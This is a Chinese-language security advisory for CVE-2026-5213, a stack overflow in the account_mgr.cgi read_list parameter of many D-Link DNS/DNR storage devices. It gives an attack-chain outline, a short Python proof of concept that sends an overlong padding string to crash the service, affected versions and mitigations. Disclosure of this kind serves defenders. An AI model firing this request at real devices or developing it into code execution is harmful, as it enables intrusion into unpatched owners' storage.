IPBUF安全漏洞报告
English
CVE-2026-5213 CVSS 8.8 高危

CVE-2026-5213 D-Link多款设备栈溢出漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-5213
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

栈溢出缓冲区溢出远程代码执行D-LinkIoT漏洞CVE-2026-5213

漏洞概述

D-Link多款网络存储设备(DNS/DNR系列)在20260205版本之前存在栈缓冲区溢出漏洞。漏洞位于/cgi-bin/account_mgr.cgi文件的cgi_adduser_to_session函数中,由于未正确过滤read_list参数,导致远程攻击者可通过特制请求触发溢出,进而执行任意代码,严重影响系统机密性、完整性和可用性。

技术细节

该漏洞是由于C语言编程中常见的边界检查缺失引起的。在处理用户通过HTTP请求传递的read_list参数时,/cgi-bin/account_mgr.cgi脚本调用的cgi_adduser_to_session函数使用了不安全的内存拷贝函数(如strcpy或sprintf),将输入数据直接复制到栈上的固定大小缓冲区中。当输入数据长度超过缓冲区大小时,多余的数据会覆盖栈上的返回地址或其他关键数据。由于攻击向量(AV:N)为网络,且不需要用户交互(UI:N),攻击者只需具备低权限(PR:L)即可构造恶意数据包发送至目标设备,从而劫持控制流,实现远程代码执行。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别暴露的D-Link DNS/DNR系列设备及其固件版本。
STEP 2
权限获取
攻击者利用低权限账户或默认凭证登录设备,满足PR:L的要求。
STEP 3
漏洞利用
攻击者向/cgi-bin/account_mgr.cgi发送特制的HTTP POST请求,在read_list参数中填充超长字符串。
STEP 4
代码执行
精心构造的payload覆盖栈上的返回地址,指向Shellcode,导致设备执行恶意指令。
STEP 5
控制维持
攻击者获得设备最高权限,可植入后门、窃取数据或发动进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-ip/cgi-bin/account_mgr.cgi" # Vulnerable parameter and payload # Padding pattern to trigger stack overflow payload = "A" * 1000 data = { "read_list": payload, "action": "cgi_adduser_to_session" } try: response = requests.post(url, data=data) print(f"Status Code: {response.status_code}") # Check if service crashes or behaves unexpectedly if response.status_code == 500 or response.status_code == 200: print("Potential trigger of vulnerability.") except Exception as e: print(f"Request failed: {e}")

影响范围

D-Link DNS-120 < 20260205
D-Link DNR-202L < 20260205
D-Link DNS-315L < 20260205
D-Link DNS-320 < 20260205
D-Link DNS-320L < 20260205
D-Link DNS-320LW < 20260205
D-Link DNS-321 < 20260205
D-Link DNR-322L < 20260205
D-Link DNS-323 < 20260205
D-Link DNS-325 < 20260205
D-Link DNS-326 < 20260205
D-Link DNS-327L < 20260205
D-Link DNR-326 < 20260205
D-Link DNS-340L < 20260205
D-Link DNS-343 < 20260205
D-Link DNS-345 < 20260205
D-Link DNS-726-4 < 20260205
D-Link DNS-1100-4 < 20260205
D-Link DNS-1200-05 < 20260205
D-Link DNS-1550-04 < 20260205

防御指南

临时缓解措施
如果无法立即升级固件,建议通过ACL策略将设备管理端口(如80/443)仅对内网管理IP开放;或者临时关闭设备的远程管理功能,直至应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表